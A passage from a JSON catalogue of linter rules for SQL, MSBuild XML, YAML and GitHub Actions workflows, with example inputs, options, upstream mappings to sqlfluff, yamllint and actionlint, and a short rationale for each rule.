          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/references#rf04"
        }
      ],
      "why": "A name that is a keyword can be read as the keyword. In some positions the parser takes the keyword, in others the name, and a new version of the database may reserve the word and break the query.\n\nTo fix, rename it, or quote it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `NULL`, `TRUE` or `FALSE` not in the case that the `policy` option sets. With `consistent` (the default) the first one written fixes the case (`upper`, `lower` or `capitalise`) and a later one that cannot be in it is reported; the other values name the case. The fix writes the word in that case.",
      "example": {
        "config": null,
        "fixed": "SELECT a, b, COUNT(c), SUM(d), NULL, TRUE, CAST(e AS INT), CAST(f AS TEXT)\nFROM t\nWHERE a = 1;\n",
        "input": "SELECT a, B, COUNT(c), sum(d), NULL, true, cast(e as INT), cast(f as text)\nfrom t\nWHERE a = 1;\n",
        "language": "sql",
        "other_lines": [
          2
        ],
        "spans": [
          {
            "column": 38,
            "length": 4,
            "line": 1
          }
        ]
      },
      "fix": "safe",
      "id": "literal-case",
      "languages": [
        "sql"
      ],
      "options": [
        {
          "choices": [
            "consistent",
            "upper",
            "lower",
            "capitalise"
          ],
          "default": "consistent",
          "description": "The case the words must be in: `consistent` follows the first one written.",
          "name": "policy",
          "type": "string"
        }
      ],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CP04",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/capitalisation#cp04"
        }
      ],
      "why": "These literals are written as values in the query. Using one case for them keeps them uniform and easy to find.\n\nTo fix, write the literal in the case that the policy gives."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a quoted name that is a plain word, not reserved, and already in the case the dialect folds unquoted names to (upper case for ansi, lower case for postgres), so the quotes change nothing.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select \"A\", \"a\", \"ab c\", \"SELECT\", date, name, a as filter from t;\n",
        "language": "sql",
        "other_lines": [],
        "spans": [
          {
            "column": 8,
            "length": 3,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "needless-quotes",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "RF06",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/references#rf06"
        }
      ],
      "why": "The quotes suggest that the name is special, but it is the same name without them. Quotes also make the name case sensitive in the code that follows, which hides a mistake when one use is quoted and another is not.\n\nTo fix, remove the quotes."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports `= NULL`, `<> NULL` and `!= NULL`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select a from t where a = null and b <> null and c != NULL and null = d;\nselect a from t where a is null and b is not null and c = 'null';\nselect distinct a from t group by a;\nselect distinct a from t;\nselect a from t group by a;\nselect a as a, b as c, d.e as e from t;\nselect a from t as x join u as x on x.a = x.b;\nselect a from t join u on t.a = u.a join t on t.a = t.b;\nselect a from t join u on t.a = u.a join v on t.a = v.b;\nwith a as (select 1), b as (select 2), c as (select * from a) select * from c;\nwith recursive r as (select 1 union all select n from r) select 2;\n",
        "language": "sql",
        "other_lines": [
          3,
          6,
          7,
          8,
          10
        ],
        "spans": [
          {
            "column": 25,
            "length": 2,
            "line": 1
          },
          {
            "column": 38,
            "length": 3,
            "line": 1
          },
          {
            "column": 52,
            "length": 3,
            "line": 1
          },
          {
            "column": 69,
            "length": 2,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "null-comparison",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CV05",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/convention#cv05"
        }
      ],
      "why": "A comparison with `NULL` gives `NULL`, not true or false, so the condition is never true and the query returns no rows (or, with `<>`, none of the rows that it should).\n\nTo fix, write `IS NULL` or `IS NOT NULL`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a call of `IFNULL` or `NVL`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select 1 union select 2;\nselect 1 union all select 2;\nselect 1 union distinct select 2;\nselect ifnull(a, 0), nvl(b, 0), coalesce(c, 0) from t;\nselect count(1), count(0), count(*), count(a) from t;\nselect a from t right join u on t.a = u.a;\nselect a from t left join u on t.a = u.a;\nselect case when a then 1 else null end, case when a then 1 else 2 end from t;\nselect a b, c as d from t u join v as w on u.a = w.a;\nselect a from t join u on t.a = u.a inner join v on v.a = t.a;\nselect 1 ;\nselect 2\n;\nselect 3 /* c */;\n/* d */;\n",
        "language": "sql",
        "other_lines": [
          1,
          5,
          6,
          8,
          9,
          10,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 8,
            "length": 6,
            "line": 4
          },
          {
            "column": 22,
            "length": 3,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "prefer-coalesce",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CV02",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/convention#cv02"
        }
      ],
      "why": "`COALESCE` is in the SQL standard and works on every database. `IFNULL` and `NVL` are vendor functions, take two arguments only and may handle types differently.\n\nTo fix, write `COALESCE`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `RIGHT` join.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select 1 union select 2;\nselect 1 union all select 2;\nselect 1 union distinct select 2;\nselect ifnull(a, 0), nvl(b, 0), coalesce(c, 0) from t;\nselect count(1), count(0), count(*), count(a) from t;\nselect a from t right join u on t.a = u.a;\nselect a from t left join u on t.a = u.a;\nselect case when a then 1 else null end, case when a then 1 else 2 end from t;\nselect a b, c as d from t u join v as w on u.a = w.a;\nselect a from t join u on t.a = u.a inner join v on v.a = t.a;\nselect 1 ;\nselect 2\n;\nselect 3 /* c */;\n/* d */;\n",
        "language": "sql",
        "other_lines": [
          1,
          4,
          5,
          8,
          9,
          10,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 17,
            "length": 5,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "right-join",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CV08",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/convention#cv08"
        }
      ],
      "why": "Most queries read from left to right and join the next table onto what came before. A right join makes the reader turn that around, and the same result is a `LEFT JOIN` with the tables in the other order.\n\nTo fix, swap the tables and use `LEFT JOIN`."
    },
    {
      "category": "cleanup",
      "default_level": "warn",
      "description": "Reports an alias that repeats the name it is given to, as in `a AS a`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select a from t where a = null and b <> null and c != NULL and null = d;\nselect a from t where a is null and b is not null and c = 'null';\nselect distinct a from t group by a;\nselect distinct a from t;\nselect a from t group by a;\nselect a as a, b as c, d.e as e from t;\nselect a from t as x join u as x on x.a = x.b;\nselect a from t join u on t.a = u.a join t on t.a = t.b;\nselect a from t join u on t.a = u.a join v on t.a = v.b;\nwith a as (select 1), b as (select 2), c as (select * from a) select * from c;\nwith recursive r as (select 1 union all select n from r) select 2;\n",
        "language": "sql",
        "other_lines": [
          1,
          3,
          7,
          8,
          10
        ],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "self-alias",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AL09",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/aliasing#al09"
        }
      ],
      "why": "The alias does nothing: the name of the column is already `a`.\n\nTo fix, remove the alias."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a quoted identifier with a space or another character that is not a letter, a digit or an underscore. A column of a select element that has an alias is left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select \"a b\", \"ab\", x as \"c d\" from \"my t\" as \"q r\";\n",
        "language": "sql",
        "other_lines": [],
        "spans": [
          {
            "column": 8,
            "length": 5,
            "line": 1
          },
          {
            "column": 26,
            "length": 5,
            "line": 1
          },
          {
            "column": 37,
            "length": 6,
            "line": 1
          },
          {
            "column": 47,
            "length": 5,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "special-chars-in-identifier",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "RF05",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/references#rf05"
        }
      ],
      "why": "A name with special characters has to be quoted in every query that uses it, and the quotes differ between databases. Tools that generate code from the schema fail on such names.\n\nTo fix, rename it with letters, digits and underscores."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a data type name not in the case that the `policy` option sets. With `consistent` (the default) the first one written fixes the case (`upper`, `lower` or `capitalise`) and a later one that cannot be in it is reported; the other values name the case. The fix writes the word in that case.",
      "example": {
        "config": null,
        "fixed": "SELECT a, b, COUNT(c), SUM(d), NULL, TRUE, CAST(e AS INT), CAST(f AS TEXT)\nFROM t\nWHERE a = 1;\n",
        "input": "SELECT a, B, COUNT(c), sum(d), NULL, true, cast(e as INT), cast(f as text)\nfrom t\nWHERE a = 1;\n",
        "language": "sql",
        "other_lines": [
          2
        ],
        "spans": [
          {
            "column": 70,
            "length": 4,
            "line": 1
          }
        ]
      },
      "fix": "safe",
      "id": "type-case",
      "languages": [
        "sql"
      ],
      "options": [
        {
          "choices": [
            "consistent",
            "upper",
            "lower",
            "capitalise"
          ],
          "default": "consistent",
          "description": "The case the words must be in: `consistent` follows the first one written.",
          "name": "policy",
          "type": "string"
        }
      ],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "CP05",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/capitalisation#cp05"
        }
      ],
      "why": "Type names in one case read as a group in a table definition or a cast, and a file that mixes cases looks inconsistent.\n\nTo fix, write the type name in the case that the policy gives."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `UNION` that names neither `DISTINCT` nor `ALL`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select 1 union select 2;\nselect 1 union all select 2;\nselect 1 union distinct select 2;\nselect ifnull(a, 0), nvl(b, 0), coalesce(c, 0) from t;\nselect count(1), count(0), count(*), count(a) from t;\nselect a from t right join u on t.a = u.a;\nselect a from t left join u on t.a = u.a;\nselect case when a then 1 else null end, case when a then 1 else 2 end from t;\nselect a b, c as d from t u join v as w on u.a = w.a;\nselect a from t join u on t.a = u.a inner join v on v.a = t.a;\nselect 1 ;\nselect 2\n;\nselect 3 /* c */;\n/* d */;\n",
        "language": "sql",
        "other_lines": [
          4,
          5,
          6,
          8,
          9,
          10,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 10,
            "length": 5,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "union-distinct",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AM02",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/ambiguous#am02"
        }
      ],
      "why": "`UNION` removes duplicates, which costs a sort or a hash, and `UNION ALL` does not. Without a keyword a reader cannot tell whether the removal is wanted, or whether `ALL` was forgotten.\n\nTo fix, write `UNION DISTINCT` or `UNION ALL`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a wildcard of the outermost query that resolves to a table: a `*` over a table, or over a subquery or common table that has one itself.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select * from t;\nselect a, b from t1 join t2 on t1.id = t2.id;\nselect t.a, b from t;\nselect a, b as a from t;\nselect a, b from t group by a, 2;\nwith c as (select a from t) select * from c;\nselect x.a from (select * from t) as x;\nselect a from t as x;\nselect x.a from t as x join u as y on x.id = y.id;\n",
        "language": "sql",
        "other_lines": [
          2,
          3,
          4,
          5,
          8
        ],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "unknown-columns",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AM04",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/ambiguous#am04"
        }
      ],
      "why": "The columns of the result are whatever the table has now. A column added or reordered in the table changes the result of the query, and clients that read the result by position or by name break.\n\nTo fix, list the columns."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a column reference without a table in a select over more than one table or view. A name that an alias of another select element or a `USING` list gives is left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select * from t;\nselect a, b from t1 join t2 on t1.id = t2.id;\nselect t.a, b from t;\nselect a, b as a from t;\nselect a, b from t group by a, 2;\nwith c as (select a from t) select * from c;\nselect x.a from (select * from t) as x;\nselect a from t as x;\nselect x.a from t as x join u as y on x.id = y.id;\n",
        "language": "sql",
        "other_lines": [
          1,
          3,
          4,
          5,
          8
        ],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 2
          },
          {
            "column": 11,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "unqualified-reference",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "RF02",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/references#rf02"
        }
      ],
      "why": "With several tables, a name may exist in more than one of them, now or after a column is added. The query then fails as ambiguous, or the reader cannot tell which table a column comes from.\n\nTo fix, qualify the column with the table or its alias."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a table alias in a `FROM` clause that no qualified reference of the select, nested queries included, uses.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select * from t;\nselect a, b from t1 join t2 on t1.id = t2.id;\nselect t.a, b from t;\nselect a, b as a from t;\nselect a, b from t group by a, 2;\nwith c as (select a from t) select * from c;\nselect x.a from (select * from t) as x;\nselect a from t as x;\nselect x.a from t as x join u as y on x.id = y.id;\n",
        "language": "sql",
        "other_lines": [
          1,
          2,
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 20,
            "length": 1,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "unused-alias",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "AL05",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/aliasing#al05"
        }
      ],
      "why": "An alias that nothing uses is left over from an earlier version of the query, or a reference was written without it.\n\nTo fix, remove the alias, or use it."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a common table expression that nothing in the `WITH` statement refers to.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "select a from t where a = null and b <> null and c != NULL and null = d;\nselect a from t where a is null and b is not null and c = 'null';\nselect distinct a from t group by a;\nselect distinct a from t;\nselect a from t group by a;\nselect a as a, b as c, d.e as e from t;\nselect a from t as x join u as x on x.a = x.b;\nselect a from t join u on t.a = u.a join t on t.a = t.b;\nselect a from t join u on t.a = u.a join v on t.a = v.b;\nwith a as (select 1), b as (select 2), c as (select * from a) select * from c;\nwith recursive r as (select 1 union all select n from r) select 2;\n",
        "language": "sql",
        "other_lines": [
          1,
          3,
          6,
          7,
          8
        ],
        "spans": [
          {
            "column": 23,
            "length": 1,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "unused-cte",
      "languages": [
        "sql"
      ],
      "options": [],
      "presets": [
        "sql/sqlfluff"
      ],
      "upstream": [
        {
          "id": "ST03",
          "partial": false,
          "tool": "sqlfluff",
          "url": "https://docs.sqlfluff.com/en/stable/reference/rules/structure#st03"
        }
      ],
      "why": "The expression is defined and never used, so the reader has to read the whole statement to find out that it does not matter.\n\nTo fix, remove it, or use it."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an element of a project file (`PackageReference`, `ProjectReference`, `Compile`, ...) that has the same `Include` as an earlier element of the same name in the same parent, on the later one.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<Project>\n  <ItemGroup>\n    <PackageReference Include=\"A\" Version=\"1\" />\n    <PackageReference Include=\"B\" Version=\"1\" />\n    <PackageReference Include=\"A\" Version=\"2\"></PackageReference>\n    <Compile Include=\"A\" />\n    <ProjectReference Include=\"B\" />\n  </ItemGroup>\n  <ItemGroup>\n    <PackageReference Include=\"A\" />\n  </ItemGroup>\n</Project>\n",
        "language": "xml",
        "other_lines": [],
        "spans": [
          {
            "column": 31,
            "length": 3,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-include",
      "languages": [
        "xml"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "The repeat is a restore warning or a build error, and where it is not it is dead text that hides which of the two a later edit should change.\n\nTo fix, delete the repeat."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `PackageReference` or `PackageVersion` whose `Version` contains `*` (`1.*`), on the attribute. No fix, because the version to pin is a decision.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<Project>\n  <ItemGroup>\n    <PackageReference Include=\"A\" Version=\"1.0.0\" />\n    <PackageReference Include=\"B\" Version=\"1.*\" />\n    <PackageVersion Include=\"C\" Version=\"*\" ></PackageVersion>\n    <Other Include=\"D\" Version=\"1.*\" />\n  </ItemGroup>\n</Project>\n",
        "language": "xml",
        "other_lines": [],
        "spans": [
          {
            "column": 35,
            "length": 13,
            "line": 4
          },
          {
            "column": 33,
            "length": 11,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-floating-package-version",
      "languages": [
        "xml"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "A floating version restores whatever is the newest match on the day of the build. Two builds of the same commit can use different packages, a new release can break the build without a change in the repository, and a compromised release arrives without anyone reading it.\n\nTo fix, pin the version (`1.2.3`), and update it on purpose."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a plain `yes`, `no`, `on`, `off`, `True`, `TRUE`, `False` or `FALSE` (in the usual casings), which are booleans to a YAML 1.1 parser and strings to a YAML 1.2 parser. Lowercase `true` and `false` are not reported. The fix quotes the value and is unsafe.",
      "example": {
        "config": null,
        "fixed": "\"on\": \"True\"\nlist: [\"FALSE\", false, true]\n? \"Yes\"\n: y\n",
        "input": "on: True\nlist: [FALSE, false, true]\n? Yes\n: y\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 2,
            "line": 1
          },
          {
            "column": 5,
            "length": 4,
            "line": 1
          },
          {
            "column": 8,
            "length": 5,
            "line": 2
          },
          {
            "column": 3,
            "length": 3,
            "line": 3
          }
        ]
      },
      "fix": "unsafe",
      "id": "ambiguous-booleans",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [
        {
          "default": true,
          "description": "Also check mapping keys. Turn it off to keep GitHub workflow `on:`.",
          "name": "check_keys",
          "type": "bool"
        },
        {
          "default": [],
          "description": "Spellings that are not reported, for example `[\"on\"]`.",
          "name": "allowed",
          "type": "list"
        },
        {
          "default": false,
          "description": "Also report `true` and `false` (unless listed in `allowed`), for code that wants every boolean quoted or spelled out.",
          "name": "report_true_false",
          "type": "bool"
        }
      ],
      "presets": [
        "yaml/yamllint"
      ],
      "upstream": [
        {
          "id": "truthy",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.truthy"
        },
        {
          "id": "truthy.allowed-values",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.truthy"
        },
        {
          "id": "truthy.check-keys",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.truthy"
        }
      ],
      "why": "The same file means two things: Python's PyYAML reads `no` as `false`, while a YAML 1.2 parser reads it as the string `\"no\"`. The classic failure is the country code `NO` (Norway) turning into `false`, and a key `on` turning into `true`.\n\nTo fix, quote the value to make it a string, or write `true` or `false` where a boolean is meant."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports jobs whose `needs` form a cycle, such as `a` needing `b` and `b` needing `a`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "jobs:\n  a:\n    needs: b\n  b:\n    needs: [c]\n  c:\n    needs: a\n  d:\n    needs: a\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "cyclic-needs",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "job-needs/cycle",
          "partial": false,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-job-deps"
        }
      ],
      "why": "A job starts when the jobs it needs have finished. In a cycle each job waits for another, so none of them can start, and GitHub rejects the workflow.\n\nTo fix, remove one of the `needs` that closes the cycle."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports a script that uses a workflow command that GitHub has disabled or deprecated: `::set-output`, `::save-state`, `::set-env` or `::add-path`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "jobs:\n  a:\n    steps:\n      - run: echo \"::set-output name=v::1\"\n      - run: |\n          echo \"::save-state name=a::b\"\n          echo ok\n      - run: echo \"::notice::fine\"\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 20,
            "length": 12,
            "line": 4
          },
          {
            "column": 17,
            "length": 12,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "deprecated-commands",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "deprecated-commands",
          "partial": false,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-deprecated-workflow-commands"
        }
      ],
      "why": "GitHub disabled `set-env` and `add-path` because any tool that prints a line to the log could set an environment variable or change the `PATH` of the job, so those two no longer work. `set-output` and `save-state` have the same weakness, are deprecated and make the run show a warning.\n\nTo fix, append to the file the runner provides: `echo \"name=value\" >> \"$GITHUB_OUTPUT\"`, and `$GITHUB_STATE`, `$GITHUB_ENV` or `$GITHUB_PATH` for the others."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a document without the `...` end marker, or with `present: false` one that has it.",
      "example": {
        "config": "document-end:\n  level: warn\n  options:\n    present: false\n",
        "fixed": null,
        "input": "a: 1\n...\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 3,
            "line": 2
          }
        ]
      },
      "fix": "safe",
      "id": "document-end",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [
        {
          "default": true,
          "description": "`true` requires `...` after every document (fixable); `false` forbids it.",
          "name": "present",
          "type": "bool"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "document-end",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.document_end"
        }
      ],
      "why": "Some projects require the end marker so a stream that was cut off is easy to tell from one that is complete. Most files leave it out, which is why the rule is off by default."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a first document that does not start with `---`. A document that has directives (`%YAML`) already starts with `---`.",
      "example": {
        "config": null,
        "fixed": "---\n# comment\na: 1\n",
        "input": "# comment\na: 1\n",
        "language": "yaml",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 4,
            "line": 2
          }
        ]
      },
      "fix": "safe",
      "id": "document-start",
      "languages": [
        "github-actions",
        "yaml"
      ],
      "options": [],
      "presets": [
        "yaml/yamllint"
      ],
      "upstream": [
        {
          "id": "document-start",
          "partial": false,
          "tool": "yamllint",
          "url": "https://yamllint.readthedocs.io/en/stable/rules.html#module-yamllint.rules.document_start"
        }
      ],
      "why": "The `---` marker makes it clear where a document starts, and it is required to put a directive in front. Some projects require it so that every file looks the same and several documents can be concatenated."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports job ids that differ only in case (job ids are not case sensitive; exact repeats are a different rule, `no-duplicate-keys`), and step ids repeated within a job.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "jobs:\n  Build:\n    runs-on: ubuntu-latest\n    steps:\n      - id: a\n        run: echo\n      - id: A\n        run: echo\n      - id: b\n        run: echo\n  build:\n    runs-on: ubuntu-latest\n  other:\n    runs-on: ubuntu-latest\n    steps:\n      - id: a\n        run: echo\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 7
          },
          {
            "column": 3,
            "length": 5,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "duplicate-ids",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "id/duplicate",
          "partial": false,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-job-step-ids"
        },
        {
          "id": "syntax-check/duplicate-job",
          "note": "partial",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-job-step-ids"
        }
      ],
      "why": "Ids are compared without case, so a reference such as `needs.build` cannot tell two such jobs apart, and `steps.<id>.outputs` cannot tell two steps with one id apart.\n\nTo fix, give each job and step its own id."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an expression that reads a context, or calls a special function, that the key it is in does not offer (`env` in the `env` of a job, `runner` in a matrix).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "on: push\njobs:\n  a:\n    runs-on: ubuntu-latest\n    env:\n      A: ${{ env.B }}\n      C: ${{ github.sha }}\n    steps:\n      - run: echo ${{ env.B }} ${{ runner.os }}\n        if: ${{ always() }}\n  b:\n    runs-on: ubuntu-latest\n    if: ${{ runner.os == 'x' }}\n    steps:\n      - run: echo\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 14,
            "length": 1,
            "line": 6
          },
          {
            "column": 13,
            "length": 1,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "expression-context",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "expression/context",
          "note": "The contexts and special functions each key offers (table in `lang-github-actions/src/expression.rs`).",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-contexts-and-builtin-func"
        }
      ],
      "why": "Each key of a workflow can use only some contexts, since the others do not exist yet when it is evaluated. An expression that reads another one does not get its value.\n\nTo fix, use a context the key offers, or move the value to a key that has it."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an expression whose types do not fit: a property that an object does not have, a comparison of values that cannot be compared, a wrong number or type of arguments, or an object where text is expected.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "on:\n  workflow_call:\n    secrets:\n      token: {}\nrun-name: ${{ github.events }}\njobs:\n  a:\n    runs-on: ubuntu-latest\n    strategy:\n      matrix:\n        os: [a, b]\n        v: \"${{ fromJSON('[1]') }}\"\n    steps:\n      - run: echo ${{ github.sha }} ${{ contains('a') }} ${{ format('{0} {1}', 1) }}\n      - run: echo ${{ fromJSON('[1') }} ${{ secrets.token }} ${{ secrets.other }}\n      - run: echo ${{ matrix.os }} ${{ matrix.arch }}\n      - run: echo ${{ github.event.*[github.sha] }}\n      - run: echo ${{ inputs.nothing }}\n      - run: echo ${{ matrix.v }}\n  caller:\n    uses: owner/repo/.github/workflows/w.yml@v1\n  after:\n    needs: caller\n    runs-on: ubuntu-latest\n    steps:\n      - run: echo ${{ needs.caller.outputs.anything }}\n",
        "language": "github-actions",
        "other_lines": [],
        "spans": [
          {
            "column": 15,
            "length": 1,
            "line": 5
          },
          {
            "column": 41,
            "length": 1,
            "line": 14
          },
          {
            "column": 62,
            "length": 1,
            "line": 14
          },
          {
            "column": 32,
            "length": 1,
            "line": 15
          },
          {
            "column": 66,
            "length": 1,
            "line": 15
          },
          {
            "column": 40,
            "length": 1,
            "line": 16
          },
          {
            "column": 23,
            "length": 1,
            "line": 17
          },
          {
            "column": 23,
            "length": 1,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "expression-types",
      "languages": [
        "github-actions"
      ],
      "options": [],
      "presets": [
        "github-actions/actionlint"
      ],
      "upstream": [
        {
          "id": "expression/types",
          "note": "Properties of the typed contexts, argument counts and types, `format` placeholders; not the types of `steps`, `needs`, `matrix` and `inputs` (they depend on other keys).",
          "partial": true,
          "tool": "actionlint",
          "url": "https://github.com/rhysd/actionlint/blob/v1.7.12/docs/checks.md#check-type-check-expression"
        }
      ],
      "why": "Expressions fail without an error: a property that does not exist is an empty string, and an object where text is expected becomes the text `Object`. The workflow runs with a wrong value.\n\nTo fix, correct the property, or the types."
    },
    {
      "category": "style",
      "default_level": "off",
